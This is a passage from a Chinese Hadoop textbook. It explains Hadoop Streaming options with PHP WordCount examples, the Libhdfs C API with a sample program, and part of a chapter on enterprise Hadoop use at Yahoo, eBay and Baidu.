myOutputDir\\\n-mapper/bin/cat\\\n-reducer/bin/wc\n1.Streaming的工作原理\n在上面的命令里，Mapper和Reducer都是可执行文件，它们从标准输入按行读入数据，并把计算结果发送给标准输出。Streaming工具会创建一个MapReduce作业，并把它发送给合适的集群，同时监视这个作业的整个执行过程。\n如果一个可执行文件被用于Mapper，则在其初始化时，每一个Mapper任务会把这个可执行文件作为一个单独的进程启动。Mapper任务运行时，它把输入切分成行，并把结果提供给可执行文件对应进程的标准输入。同时，它会收集可执行文件进程标准输出的内容，并把收到的每一行内容转化成key/value对，作为输出。默认情况下，一行中第一个tab之前的部分被当做key，之后的（不包括tab）被当做value。如果没有tab，则整行内容被当做key值，value值为null。具体的转化策略会在下面讨论。\n如果一个可执行文件被用于Reducer，每个Reducer任务同样会把这个可执行文件作为一个单独的进程启动。Reducer任务运行时，它把输入切分成行，并把结果提供给可执行文件对应进程的标准输入。同时，它会收集可执行文件进程标准输出的内容，并把每一行内容转化成key/value对，作为输出。默认情况下，一行中第一个tab之前的部分被当作key，之后的（不包括tab）被当做value。\n用户也可以使用Java类作为Mapper或Reducer。本节最初给出的命令与这里的命令等价：\n$HADOOP_HOME/bin/Hadoop jar$HADOOP_HOME/Hadoop-streaming.jar\\\n-input myInputDirs\\\n-output myOutputDir\\\n-mapper org.apache.hadoop.mapred.lib.IdentityMapper\\\n-reducer/bin/wc\n用户可以设定stream.non.zero.exit.is.failure的值为true或false，从而表明streaming task的返回值非零时是Failure还是Success。默认情况下，streaming task返回非零时表示失败。\n2.将文件打包到提交的作业中\n利用Streaming用户可以将任何可执行文件指定为Mapper/Reducer。这些可执行文件可以事先存放在集群上，也可以用-file选项让可执行文件成为作业的一部分，并且会一起打包提交。例如：\n$HADOOP_HOME/bin/hadoop jar$HADOOP_HOME/hadoop-streaming.jar\\\n-input myInputDirs\\\n-output myOutputDir\\\n-mapper myPythonScript.py\\\n-reducer/bin/wc\\\n-file myPythonScript.py\n上面的例子描述了一个用户把可执行Python文件指定为Mapper。其中的选项“-file myPythonScirpt.py”使可执行Python文件作为作业的一部分被上传到集群的机器上。\n除了可执行文件外，其他Mapper或Reducer需要用到的辅助文件（比如字典、配置文件等）也可以用这种方式打包上传。例如：\n$HADOOP_HOME/bin/hadoop jar$HADOOP_HOME/hadoop-streaming.jar\\\n-input myInputDirs\\\n-output myOutputDir\\\n-mapper myPythonScript.py\\\n-reducer/bin/wc\\\n-file myPythonScript.py\\\n-file myDictionary.txt\n3.Streaming选项与用法\n（1）只使用Mapper的作业\n有时候只需要使用Map函数处理输入数据。这时只须把mapred.reduce.tasks设置为零，Mapreduce框架就不会创建Reducer任务，Mapper任务的输出就是整个作业的最终输出。\n为了做到向下兼容，Hadoop Streaming也支持“-reduce None”选项，它与“-jobconf mapred.reduce.tasks=0”等价。\n（2）为作业指定其他属性\n和其他普通的MapReduce作业一样，用户可以为Streaming作业指定数据格式，命令如下：\n-inputformat JavaClassName\n-outputformat JavaClassName\n-partitioner JavaClassName\n-combiner JavaClassName\n如果不指定输入格式，程序会默认使用TextInputFormat。因为TextInputFormat得到的key值是LongWritable类型的（key值并不是输入文件中的内容，而是value偏移量），所以key会被丢弃，只会把value用管道方式发给Mapper。\n另外，用户提供的定义输出格式的类需要能够处理Text类型的key/value对。如果不指定输出格式，则默认会使用TextOutputFormat类。\n（3）Hadoop Streaming中的大文件和档案\n任务依据-File和-Archive选项在集群中分发文件和档案，选项的参数是用户已上传至HDFS的文件或档案的URI。这些文件和档案在不同的作业间缓存。用户可以通过fs.default.name配置参数的值得到文件所在的host和fs_port。\n下面是使用-cacheFile选项的例子：\n-File hdfs：//host：fs_port/user/testfile.txt#testlink\n在上面的例子里，URL中#后面的内容是建立在任务当前工作目录下的符号链接的名字。这个任务的当前工作目录下有一个“testlink”符号链接，它指向testfile.txt文件在本地的复制位置。如果有多个文件，选项可以写成：\n-File hdfs：//host：fs_port/user/testfile1.txt#testlink1\n-File hdfs：//host：fs_port/user/testfile2.txt#testlink2\n-Archive选项用于把JAR文件复制到任务当前工作目录，并自动把JAR文件解压缩。例如：\n-Archive hdfs：//host：fs_port/user/testfile.jar#testlink3\n在上面的例子中，testlink3是当前工作目录下的符号链接，它指向testfile.jar解压后的目录。\n下面是使用-Archive选项的另一个例子。其中，input.txt文件有两行内容，分别是两个文件的名字：testlink/cache.txt和testlink/cache2.txt。“testlink”是指向档案目录（JAR文件解压后的目录）的符号链接，这个目录下有“cache.txt”和“cache2.txt”两个文件。代码如下所示：\n$HADOOP_HOME/bin/Hadoop jar$HADOOP_HOME/Hadoop-streaming.jar\\\n-input\"/user/me/samples/cachefile/input.txt\"\\\n-mapper\"xargs cat\"\\\n-reducer\"cat\"\\\n-output\"/user/me/samples/cachefile/out\"\\\n-Archive'hdfs：//Hadoop-nn1.example.com/user/me/samples/\ncachefile/cchedir.jar#testlink'\\\n-D mapred.map.tasks=1\\\n-D mapred.reduce.tasks=1\\\n-D mapred.job.name=\"Experiment\"\n$ls test_jar/\ncache.txt cache2.txt\n$jar cvf cachedir.jar-C test_jar/.\nadded manifest\nadding：cache.txt（in=30）（out=29）（deflated 3%）\nadding：cache2.txt（in=37）（out=35）（deflated 5%）\n$Hadoop dfs-put cachedir.jar samples/cachefile\n$Hadoop dfs-cat/user/me/samples/cachefile/input.txt\ntestlink/cache.txt\ntestlink/cache2.txt\n$cat test_jar/cache.txt\nThis is just the cache string\n$cat test_jar/cache2.txt\nThis is just the second cache string\n$Hadoop dfs-ls/user/me/samples/cachefile/out\nFound 1 items\n/user/me/samples/cachefile/out/part-00000＜r 3＞69\n$Hadoop dfs-cat/user/me/samples/cachefile/out/part-00000\nThis is just the cache string\nThis is just the second cache string\n4.为作业指定附加配置参数\n用户可以使用“-jobconf＜n＞=＜v＞”增加一些配置变量。例如：\n$HADOOP_HOME/bin/Hadoop jar$HADOOP_HOME/Hadoop-streaming.jar\\\n-input myInputDirs\\\n-output myOutputDir\\\n-mapper org.apache.Hadoop.mapred.lib.IdentityMapper\\\n-reducer/bin/wc\\\n-D mapred.reduce.tasks=2\n在上面的例子中，-jobconf mapred.reduce.tasks=2表明用两个Reducer完成作业。\n关于jobconf参数的更多细节可以参考Hadoop安装包中的Hadoop-default.html文件。\n5.其他选项\nStreaming命令的其他选项如表18-3所示。\n使用-cluster＜name＞实现“本地”Hadoop和一个或多个远程Hadoop集群间的切换。默认情况下，使用Hadoop-default.xml和Hadoop-site.xml。当使用-cluster＜name＞选项时，会使用$HADOOP_HOME/conf/Hadoop-＜name＞.xml。\n下面的选项可改变temp目录：\n-D dfs.data.dir=/tmp\n下面的选项指定其他本地temp目录：\n-D mapred.local.dir=/tmp/local\n-D mapred.system.dir=/tmp/system\n-D mapred.temp.dir=/tmp/temp\n在streaming命令中设置环境变量：\n-cmdenv EXAMPLE_DIR=/home/example/dictionaries/\n18.3.2 Hadoop Streaming的使用举例\nHadoop Streaming插件是Hadoop安装包当中的一个JAR文件，具体位置在……\\Hadoop-1.0.1\\contrib\\streaming目录下，所以Hadoop Streaming插件是直接使用的，只需要在执行Hadoop程序时输入命令Hadoop Streaming就可以了，无须安装，在编写MapReduce程序时，只要按照整个框架要求并根据自己的需要编写出符合对应语言格式的程序，然后用下面的命令格式将程序提交给Hadoop就可以了：\n$HADOOP_HOME/bin/hadoop jar$HADOOP_HOME/hadoop-streaming.jar\\\n-input myInputDirs\\\n-output myOutputDir\\\n-mapper/bin/cat\\\n-reducer/bin/wc\n需要注意的是，程序执行所需要的支持文件也要在提交程序的同时提交到Hadoop集群，这在前面已有说明，不再赘述。下面以一个用PHP语言编写的WordCount使用Hadoop Streaming提交的程序为例，来说明此插件使用方法（Linux系统下需要安装PHP环境，命令为sudo apt-get install php5-client）。\n程序代码举例如下所示。\n（1）Mapper. php\n#！/usr/bin/php\n＜?php\n$word2count=array（）；\n//标准输入STDIN（standard input）\nwhile（（$line=fgets（STDIN））！==false）{\n//移除小写与空格\n$line=strtolower（trim（$line））；\n//切词\n$words=preg_split（'/\\W/'，$line，0，PREG_SPLIT_NO_EMPTY）；\n//将字+1\nforeach（$words as$word）{\n$word2count[$word]+=1；\n}\n}\n//结果写到STDOUT（standard output）\nforeach（$word2count as$word=＞$count）{\necho$word, chr（9），$count, PHP_EOL；\n}\n?＞\n（2）Reduce.php\n#！/usr/bin/php\n＜?php\n$word2count=array（）；\n//输入为STDIN\nwhile（（$line=fgets（STDIN））！==false）{\n//移除多余的空白\n$line=trim（$line）；\n//每一行的格式为（字\"tab\"数字），记录到（$word，$count）\nlist（$word，$count）=explode（chr（9），$line）；\n//转换格式string-＞int\n$count=intval（$count）；\n//求总的频数\nif（$count＞0）$word2count[$word]+=$count；\n}\n//此行非必要内容，但可让output排列更完整\nksort（$word2count）；\n//将结果写到STDOUT（standard output）\nforeach（$word2count as$word=＞$count）{\necho$word, chr（9），$count, PHP_EOL；\n}\n?＞\n执行情况如下：\n$bin/Hadoop jar contrib/streaming/Hadoop-0.20.2-streaming.jar\\\n-mapper/opt/Hadoop/mapper.php-reducer/opt/Hadoop/reducer.php-input lab4_input\n-output stream_out2\n下面来查看一下结果：\n$bin/Hadoop dfs-cat stream_out2/part-00000\n18.3.3 使用Hadoop Streaming常见的问题\n1.如何处理多个文件，其中每个文件一个Map？\n需要处理多个文件时，用户可以采用多种途径，这里以在集群上压缩（zipping）多个文件为例，用户可以使用以下几种方法：\n（1）使用Hadoop Streaming和用户编写的mapper脚本程序。\n先生成一个文件，文件中包含所有要压缩的文件在HDFS上的完整路径。每个Map任务获得一个路径名作为输入。\n然后创建一个Mapper脚本程序，实现如下功能：获得文件名，把该文件复制到本地，压缩该文件并把它发到期望的输出目录中。\n（2）使用现有的Hadoop框架\n在main函数中添加如下命令：\nFileOutputFormat.setCompressOutput（conf, true）；\nFileOutputFormat.setOutputCompressorClass（conf, org.apache.Hadoop.io.compress.\nGzipCodec.class）；\nconf.setOutputFormat（NonSplitableTextInputFormat.class）；\nconf.setNumReduceTasks（0）；\n编写Map函数：\npublic void map（WritableComparable key, Writable value，\nOutputCollector output，\nReporter reporter）throws IOException{\noutput.collect（（Text）value, null）；\n}\n注意输出的文件名和原文件名不同。\n2.如果在Shell脚本里设置一个别名，并放在-mapper之后，Streaming会正常运行吗？例如，alias cl='cut-fl'，-mapper\"cl\"会运行正常吗？\n脚本里是无法使用别名的，但是允许变量替换，例如：\n$Hadoop dfs-cat samples/student_marks\nalice 50\nbruce 70\ncharlie 80\ndan 75\n$c2='cut-f2'；$HADOOP_HOME/bin/Hadoop jar$HADOOP_HOME/Hadoop-streaming.jar\\\n-input/user/me/samples/student_marks\n-mapper\\\"$c2\\\"-reducer'cat'\n-output/user/me/samples/student_out\n-jobconf mapred.job.name='Experiment'\n$Hadoop dfs-ls samples/student_out\nFound 1 items/user/me/samples/student_out/part-00000＜r 3＞16\n$Hadoop dfs-cat samples/student_out/part-00000\n50\n70\n75\n80\n3.在Streaming作业中用-file选项运行一个分布式的超大可执行文件（例如，3.6GB）时，如果得到错误信息“No space left on device”如何解决？\n由于配置变量stream.tmpdir指定了一个目录，会在这个目录下进行打jar包的操作。stream.tmpdir的默认值是/tmp，用户需要将这个值设置为一个有更大空间的目录：\n-D stream.tmpdir=/export/bigspace/……\n4.如何设置多个输入目录？\n可以使用多个-input选项设置多个输入目录：\nHadoop jar Hadoop-streaming.jar-input'/user/foo/dir1'-input'/user/foo/dir2'\n5.如何生成gzip格式的输出文件？\n除了纯文本格式的输出，用户还可以让程序生成gzip文件格式的输出，只需将Streaming作业中的选项设置为“-D mapred.output.compress=true-jobconf mapred.output.compression.codec=org.apache.Hadoop.io.compress.GzipCode”。\n6.在Streaming中如何自定义input/output format？\n在Hadoop 0.14版本以前，不支持多个jar文件。所以当指定自定义的类时，用户需要把它们和原有的streaming jar打包在一起，并用这个自定义的jar包替换默认的Hadoop streaming jar包。在0.14版本以后，就无须打包在一起，只需要正常的编译运行。\n7.Streaming如何解析XML文档？\n用户可以使用StreamXmlRecordReader来解析XML文档，如下所示：\nHadoop jar Hadoop-streaming.jar-inputreader\"StreamXmlRecord, begin=BEGIN_\nSTRING, end=END_STRING\"……\nMap任务会把BEGIN_STRING和END_STRING之间的部分看做一条记录。\n8.在Streaming应用程序中如何更新计数器？\nStreaming进程能够使用stderr发出计数器信息。应该把reporter：counter：＜group＞，＜count er＞，＜amount＞发送到stderr来更新计数器。\n9.如何更新Streaming应用程序的状态？\nStreaming进程能够使用stderr发出状态信息。可把reporter：status：＜message＞发送到stderr来设置状态。\n18.4 Hadoop Libhdfs的介绍和使用\n 18.4.1 Hadoop Libhdfs的介绍\nLibhdfs是一个基于C编程接口的为Hadoop分布式文件系统开发的JNI（Java Native Interface），它提供了一个C语言接口以结合管理DFS文件和文件系统。并且它会在${HADOOP_HOME}/libhdfs/libhdfs.so中预编译，它是Hadoop分布式结构中的一部分。\n18.4.2 Hadoop Libhdfs的安装配置\n在安装Libhdfs之前首先需要安装Hadoop的分布式文件系统HDFS。当用户有一个正在运行的工作集时，进入src/c++/libhdfs目录，使用makefile文件安装Libhdfs。一旦安装Libhdfs成功，用户可以通过它连接到自己的程序。\n18.4.3 Hadoop Libhdfs API简介\n这部分将介绍Libhdfs提供的各种用来管理DFS的API。我们按照管理对象（单个文件、文件系统）对API进行了分类。\n1.FileSystem API\nLibhdfs不仅提供了通用文件系统管理API，比如创建文件夹、复制文件、移动文件等，还提供了一些特殊功能的API，比如获取备份文件信息等。\n在启动时应该在任何文件或文件系统操作之前先用HDFSconnect API将Libhdfs和DFS连接起来。还有一个类似的hdfsdisconnect API负责连接的清除。\n通用操作如下：\nhdfsCopy（也适用文件系统）\nhdfsMove（也适用文件系统）\nhdfsRename\nhdfsDelete\nLibhdfs还提供了在DFS上管理目录的API，如下所示。\nhdfsCreateDirectory\nhdfsSetWorkingDirectory\nhdfsGetWorkingDirectory\nhdfsListDirectory/hdfsGetPathInfo/hdfsFreeFileInfo\n查询filesystem各种属性的API如下。\nhdfsGetHosts\nhdfsGetDefaultBlockSize\nhdfsGetUsed/hdfsGetCapacity\n2.File APIs\nLibhdfs提供了一些类似于POSIX（Portable Operating System Interface）的接口来实现单个文件上的操作，比如create、read/write、query等，如下所示。\nhdfsOpenFile/hdfsCloseFile\nhdfsRead/hdfsWrite\nhdfsTell/hdfsSeek\nhdfsFlush\nhdfsAvailable\n18.4.4 Hadoop Libhdfs的使用举例\nLibhdfs可以用在POSIX线程编写的线程应用程序中。无论是与JNI的全局还是局部引用交互，使用者都必须显式地调用hdfsConvertToGlobalRef/hdfsDeleteGlobalRef API。\n下面是一个Libhdfs应用的程序。\n#include\"hdfs.h\"\nint main（int argc, char**argv）{\nhdfsFS fs=hdfsConnect（\"default\"，0）；\nconst char*writePath=\"/tmp/testfile.txt\"；\nhdfsFile writeFile=hdfsOpenFile（fs, writePath, O_WRONLY|O_CREAT，0，0，0）；\nif（！writeFile）{\nfprintf（stderr，\"Failed to open%s for writing！\\n\"，writePath）；\nexit（-1）；\n}\nchar*buffer=\"Hello, World！\"；\ntSize num_written_bytes=hdfsWrite（fs, writeFile，（void*）buffer, strlen（buffer）+1）；\nif（hdfsFlush（fs, writeFile））{\nfprintf（stderr，\"Failed to'flush'%s\\n\"，writePath）；\nexit（-1）；\n}\nhdfsCloseFile（fs, writeFile）；\n}\n接下来再介绍一些具体情况的解决办法。\n（1）如何连接到库\n使用Libhdfs源文件目录（${HADOOP_HOME}/src/c++/libhdfs/Makefile）下的makefile或者使用下面的命令来连接库：\ngcc above_sample.c-I${HADOOP_HOME}/src/c++/libhdfs-L${HADOOP_HOME}/libhdfs\n-lhdfs-o above_sample\n（2）CLASSPATH配置问题\n使用Libhdfs最常见的问题就是在运行一个使用了Libhdfs的程序时CLASSPATH没有正确配置Libhdfs。请确保在每个运行Hadoop所必需的Hadoop jar包中对其进行了正确配置。另外，目前还没有使用程序自动生成CLASSPATH的方法，但有一个很好的办法就是引用${HADOOP_HOME}和${HADOOP_HOME}/lib下的所有JAR包，并且正确配置hdfs-site.xml中的目录。\n18.5 本章小结\n本章介绍了使用Hadoop开发的四种常用插件，分别是Hadoop Studio、Hadoop Eclipse、Hadoop Streaming和Hadoop LibHdfs。Hadoop Studio是一个加快Hadoop开发进程的可视化开发环境。Hadoop Studio通过降低Hadoop的使用复杂度让用户在更少的步骤内完成更多的事情来提高生产率。用户可以通过Hadoop Studio强大的GUI，部署Hadoop任务，并监控Hadoop任务的实时信息。Studio的优点在于无论用户的开发经验有多少，它都能从设计、部署、调试和可视化四个方面简化用户的工作，提高工作效率。Hadoop Studio全面强大的功能使其使用范围甚广。\nHadoop Eclipse插件将Hadoop的开发环境图形化。在编译和安装插件、配置Hadoop的相关信息之后，如果用户创建Hadoop程序，插件会自动导入Hadoop编程接口的jar文件，这样，用户就可以在Eclipse的图形化界面中编写、调试、运行Hadoop程序（单机程序和分布式程序都可以）了，也可以在其中查看自己程序的实时状态、错误信息和运行结果了，还可以查看、管理HDFS和其他文件。总的来说，Hadoop Eclipse插件安装简单，使用方便，功能强大，尤其是在Hadoop编程方面，是Hadoop入门和Hadoop编程必不可少的工具。\nHadoop Streaming是Hadoop的一个工具，它帮助用户创建和运行一类特殊的MapReduce作业，这些特殊的MapReduce作业是由一些可执行文件或脚本文件充当Mapper或者Reducer。本章也举例说明了它的使用方法。\nLibhdfs是一个基于C编程接口、为Hadoop的分布式文件系统开发的JNI（Java Native Interface），它提供了一个C语言接口以结合管理DFS文件和文件系统。它在${HADOOP_HOME}/libhdfs/libhdfs.so中预编译，是Hadoop分布式结构中的一部分。其丰富的API方便了用户对于HDFS和HDFS文件的管理。在这部分内容的最后给出了Libhdfs使用的具体例子，并给出了一些常见问题的解决办法。\n本章详细介绍了Hadoop开发常用的四种插件，从安装步骤到使用方法，再到常见问题的解决方法，希望能帮助大家提高使用和开发Hadoop的效率。\n第19章 企业应用实例\n本章内容\nHadoop在Yahoo！的应用\nHadoop在eBay的应用\nHadoop在百度的应用\n即刻搜索中的Hadoop\nFacebook中的Hadoop和HBase\n本章小结\n本章参考资料\n当今世界，随着企业的数据量迅速增长，存储和处理大规模数据已成为人们的迫切需求。Hadoop作为开源的云计算平台，已引起了学术界和企业界的普遍兴趣。使用它，可以在不了解分布式底层细节的情况下开发分布式应用程序，并处理大规模数据。由于Hadoop性能优秀，它已在一些公司得到了很好地推广。\n本书详细讲解了Hadoop中HDFS和MapReduce的相关知识，并简单介绍了Hadoop相关的Apache项目。本章将从企业应用实例方面为大家讲解Hadoop在大型应用中扮演了什么角色，如何搭建基于Hadoop的大型应用框架以及如何在系统开发中应用Hadoop设计思想。下面我们将选取具有代表性的Hadoop应用案例进行分析，让大家了解Hadoop在企业界的应用情况。\n19.1 Hadoop在Yahoo！的应用\n关于Hadoop技术的研究和应用，Yahoo！都处于领先地位，它将Hadoop应用于自己的各种产品中，包括数据分析、内容优化、反垃圾邮件系统、广告的优化选择、大数据处理和ETL等；同样，在用户兴趣预测、搜索排名、广告定位等方面也得到了充分地应用。\n在Yahoo！主页个性化方面，实时服务系统通过Apache从数据库中读取user到interest的映射，并且每隔5分钟生产环境中的Hadoop集群就会基于最新数据重新排列内容，每隔7分钟则在页面上更新内容。\n在邮箱方面，Yahoo！利用Hadoop集群根据垃圾邮件模式为邮件计分，并且每隔几个小时就在集群上改进反垃圾邮件模型，集群系统每天还推动50亿次的邮件投递。\n目前Hadoop最大的生产应用是Yahoo！的Search Webmap应用，它运行在超过10 000台机器的Linux系统集群里，Yahoo！的网页搜索查询使用的就是它产生的数据。Webmap的构建步骤如下：首先进行网页的爬取，同时产生包含所有已知网页和互联网站点的数据库，以及一个关于所有页面及站点的海量数据组；然后这些数据传输给Yahoo！搜索中心执行排序算法。在整个过程中，索引中页面间的链接数量将会达到1TB，经过压缩的数据产出量会达到300TB，运行一个MapReduce任务就需使用超过10 000的内核，而在生产环境中使用数据的存储量超过5PB。\nYahoo！在Hadoop中同时使用了Hive和Pig，在许多人看来，Hive和Pig大体相似而且Pig Latin与SQL也十分相似。那么Yahoo！为什么要同时使用这些技术呢？主要是因为Yahoo！的研究人员查看了它们的工作负载并分析了应用案例后认为不同的情况下需要使用不同的工具。\n先了解一下大规模数据的使用和处理背景。大规模的数据处理通常分为三个不同的任务：数据收集、数据准备和数据表示，这里并不打算介绍数据收集阶段，因为Pig和Hive主要用于数据准备和数据表示阶段。\n数据准备阶段通常被认为是提取、转换和加载（Extract Transform Load, ETL）数据的阶段，或者认为这个阶段是数据工厂。这里的数据工厂只是一个比喻，现实生活中的工厂接受原材料后会输出客户所需的产品，而数据工厂与之相似，它在输入原始数据后，输出可供客户使用的数据集。这个阶段需要装载和清洗原始数据，并让它遵守特定的数据模型，还要尽可能地让它与其他数据源结合等。这一阶段的客户一般都是程序员、数据专家或研究者。\n数据表示阶段一般指的都是数据仓库，数据仓库存储了客户所需要的产品，客户会根据需要选取合适的产品。这一阶段的客户可能是系统的数据工程师、分析师或决策者。\n根据每个阶段负载和用户情况的不同，Yahoo！在不同的阶段使用不同的工具。结合了诸如Oozie等工作流系统的Pig特别适合于数据工厂，而Hive则适合于数据仓库。下面将分别介绍数据工厂和数据仓库。\n在Yahoo！的数据工厂存在三种不同的工作用途：流水线、迭代处理和科学研究。\n经典的数据流水线包括数据反馈、清洗和转换。一个常见例子就是Yahoo！的网络服务器日志，这些日志需要进行清洗以去除不必要的信息，数据转换则是要找到点击之后所转到的页面。Pig是分析大规模数据集的平台，它建立在Hadoop之上并提供了良好的编程环境、优化条件和可扩展的性能。Pig Latin是关系型数据流语言，并且是Pig核心的一部分，基于以下的原因，Pig Latin相比SQL而言更适合构建数据流。首先，Pig Latin是面向过程的，并且允许流水线开发者自定义流水线中检查点的位置；其次，Pig Latin允许开发者直接选择特定的操作实现方式而不是依赖于优化器；另外，Pig Latin支持流水线的分支，并且允许流水线开发者在数据流水线的任何地方插入自己的代码。Pig和诸如Oozie等的工作流工具一起使用来创建流水线，一天可以运行数以万计的Pig作业。\n迭代处理也是需要Pig的，在这种情况下通常需要维护一个大规模的数据集。数据集上的典型处理包括加入一小片数据后就会改变大规模数据集的状态。如考虑一个数据集，它存储了Yahoo！新闻中现有的所有新闻。我们可以把它想象成一幅巨大的图，每个新闻就是一个节点，新闻节点若有边相连说明这些新闻指的是同一件事件。每隔几分钟就会有新的新闻加入进来，这些工具需要将这些新闻节点加到图中，并找到相似的新闻节点用边连接起来，还要删除被新节点覆盖的旧节点。这和标准流水线不同，它不断有小变化，这就需要使用增长处理模型在合理的时间范围内处理这些数据。例如，所有的新节点加入到图中后，又有一批新的新闻节点到达，在整个图上重新执行连接操作是不现实的，这也许会花费数个小时。相反，在新增加的节点上执行连接操作并使用全连接（full join）的结果是可行的，而且这个过程只需要花费几分钟时间。标准的数据库操作可以使用Pig Latin通过上述方式实现，这时Pig就会得到很好地应用。\nYahoo！有许多的科研人员，他们需要网格工具处理千万亿大小的数据，还有许多研究人员希望快速地写出脚本来测试自己的理论或获得更深的理解。但是在数据工厂中，数据不是以一种友好的、标准的方式呈现的，这时Pig就可以大显身手了，因为它可以处理未知模式的数据，还有半结构化和非结构化的数据。Pig与streaming相结合，使得研究者在小规模数据集上测试的Perl和Python脚本可以很方便地在大规模数据集上运行。\n在数据仓库处理阶段有两个主要的应用：商业智能分析和特定查询（Ad-hoc query）。在第一种情况下，用户将数据连接到商业智能（BI）工具（如MicroStrategy）上来产生报告或深入地分析。第二种情况下用户执行数据分析师或决策者的特定查询。这两种情况下，关系模型和SQL都很好用。事实上，数据仓库已经成为SQL使用的核心，它支持多种查询并具有分析师所需的工具，Hive作为Hadoop的子项目为其提供了SQL接口和关系模型，现在Hive团队正开始将Hive与BI工具通过接口（如ODBC）结合起来使用。\nPig在Yahoo！得到了广泛应用，这使得数据工厂的数据被移植到Hadoop上运行成为可能。随着Hive的深入使用，Yahoo！打算将数据仓库移植到Hadoop上。在同一系统上部署数据工厂和数据仓库将会降低数据加载到仓库的时间，这也使得共享工厂和仓库之间的数据、管理工具、硬件等成为可能。Yahoo！在Hadoop上同时使用多种工具使Hadoop能够执行更多的数据处理。\n19.2 Hadoop在eBay的应用\neBay是全球知名的个人和企业销售商品和提供服务的在线交易平台，是互联网上最受欢迎的购物网站之一。在eBay上存储着上亿种商品的信息，而且每天有数百万种的新商品增加，因此需要用云系统来存储和处理PB级别的数据，而Hadoop是个很好的选择。\nHadoop是建立在商业硬件上的容错、可扩展、分布式的云计算框架，eBay利用Hadoop建立了一个大规模的集群系统—Athena，它被分为五层（如图19-1所示），下面从最底层向上开始介绍：\n1）核心层，包括Hadoop运行时环境、一些通用设施和HDFS，其中文件系统为读写大块数据而做了一些优化，如将块的大小由128MB改为256MB。\n2）MapReduce层，为开发和执行任务提供API和控件。\n3）数据获取层，现在数据获取层的主要框架是HBase、Pig和Hive：\nHBase是根据Google BigTable开发的按列存储的多维空间数据库，通过维护数据的划分和范围提供有序的数据，其数据储存在HDFS上。\n图 19-1 Athena的层次\nPig（Latin）是提供加载、筛选、转换、提取、聚集、连接、分组等操作的面向过程的语言，开发者使用Pig建立数据管道和数据工厂。\nHive是用于建立数据仓库的使用SQL语法的声明性语言。对于开发者、产品经理和分析师来说，SQL接口使得Hive成为很好的选择。\n4）工具、加载库层，UC4是eBay从多个数据源自动加载数据的企业级调度程序。加载库有：统计库（R）、机器学习库（Mahout）、数学相关库（Hama）和eBay自己开发的用于解析网络日志的库（Mobius）。\n5）监视和警告库，Ganglia是分布式集群的监视系统，Nagios则用来警告一些关键事件如服务器不可达、硬盘已满等。\neBay的企业服务器运行着64位的RedHat Linux：\nNameNode是负责管理HDFS的主服务器；\nJobTracker负责任务的协调；\nHBaseMaster负责存储HBase存储的根信息，并且方便与数据块或存取区域进行协调；\nZooKeeper是保证HBase一致性的分布式锁协调器。\n用于存储和计算的节点是1U大小的运行Cent OS的机器，每个机器拥有两个四核处理器和2TB大小的存储空间，每38～42个节点单元为一个rack，这组建成高密度网格。有关网络方面，顶层rack交换机到节点的带宽为1Gbps, rack交换机到核心交换机的带宽为40Gpbs。\n这个集群为eBay内多个团队共同使用的，包括产品和一次性任务。这里使用Hadoop公平调度器（Fair Scheduler）来管理分配、定义团队的任务池、分配权限、限制每个用户和组的并行任务、设置优先权期限和延迟调度。\n数据流的具体处理过程如图19-2所示，系统每天需要处理8～10TB的新数据，而Hadoop主要用于：\n基于机器学习的排序。使用Hadoop计算需要考虑多个因素（如价格、列表格式、卖家记录、相关性）的排序函数，并需要添加新因素来验证假设的扩展功能，以增强eBay物品搜索的相关性。\n对物品描述的数据挖掘。在完全无人监管的方式下使用数据挖掘和机器学习技术，将物品描述清单转化为与物品相关的键/值对，来扩大分类的覆盖范围。\n图 19-2 数据流\neBay的研究人员在系统构建和使用过程中遇到的挑战以及一些初步计划有以下几个方面：\n可扩展性：当前主系统NameNode拥有扩展的功能，随着集群的文件系统不断增长，需要存储大量的元数据，所以内存占有量也在不断增长。如果是1PB的存储量则需要将近1GB的内存量，可能的解决方案是使用等级结构的命名空间划分，或者使用HBase和ZooKeeper联合对元数据进行管理。\n有效性：NameNode的有效性对产品的工作负载很重要，开源社区提出了一些备用选择，如使用检查点和备份节点、从Secondary NameNode中转移到Avatar节点、日志元数据复制技术等。eBay研究人员根据这些方法建立了自己的产品集群。\n数据挖掘：在存储非结构化数据的系统上建立支持数据管理、数据挖掘和模式管理的系统。新的计划提议将Hive的元数据和Owl添加到新系统中，并称为Howl。eBay研究人员努力将这个系统联系到分析平台上去，这样用户可以很容易地在不同的数据系统中挖掘数据。\n数据移动：eBay研究人员考虑发布数据转移工具，这个工具可以支持在不同的子系统如数据仓库和HDFS之间进行数据的复制。\n策略：通过配额实现较好的归档、备份等策略（Hadoop现有版本的配额需要改进）。eBay的研究人员基于工作负载和集群的特点对不同的集群确定配额。\n标准：eBay研究人员开发健壮的工具来为数据来源、消耗情况、预算情况、使用情况等进行度量。\n同时eBay正在改变收集、转换、使用数据的方式，以提供更好的商业智能。\n19.3 Hadoop在百度的应用\n百度作为全球最大的中文搜索引擎公司，提供基于搜索引擎的各种产品，包括以网络搜索为主的功能性搜索，以贴吧为主的社区搜索，针对区域、行业的垂直搜索，MP3音乐搜索，以及百科等，几乎覆盖了中文网络世界中所有的搜索需求。\n百度对海量数据处理的要求是比较高的，要在线下对数据进行分析，还要在规定的时间内处理完并反馈到平台上。百度在互联网领域的平台需求如图19-3所示，这些需求需要通过性能较好的云平台进行处理了并实现，Hadoop就是很好的选择。在百度，Hadoop主要应用于以下几个方面：\n日志的存储和统计；\n网页数据的分析和挖掘；\n商业分析，如用户的行为、广告关注度等；\n在线数据的反馈，及时得到在线广告的点击情况；\n用户网页的聚类，分析用户的推荐度及用户之间的关联度。\nMapReduce主要是一种思想，并不能解决领域内与计算有关的所有问题，百度的研究人员认为比较好的模型应该如图19-4所示，HDFS实现共享存储，一些计算使用MapReduce解决，一些计算使用MPI解决，而还有一些计算需要通过两者来共同处理。因为MapReduce适合处理数据很大且适合划分的数据，所以在处理这类数据时就可以用MapReduce做一些过滤，得到基本的向量矩阵，然后通过MPI进一步处理后并返回结果，只有整合技术才能更好地解决问题。\n百度现在拥有三个Hadoop集群，总规模在700台机器左右，其中有100多台新机器和600多台要淘汰的机器（它们的计算能力相当于200多台新机器），不过其规模还在不断地扩大中。现在每天运行的MapReduce任务大约在3000个左右，处理数据约120TB/天。\n图 19-3 互联网领域的平台需求\n图 19-4 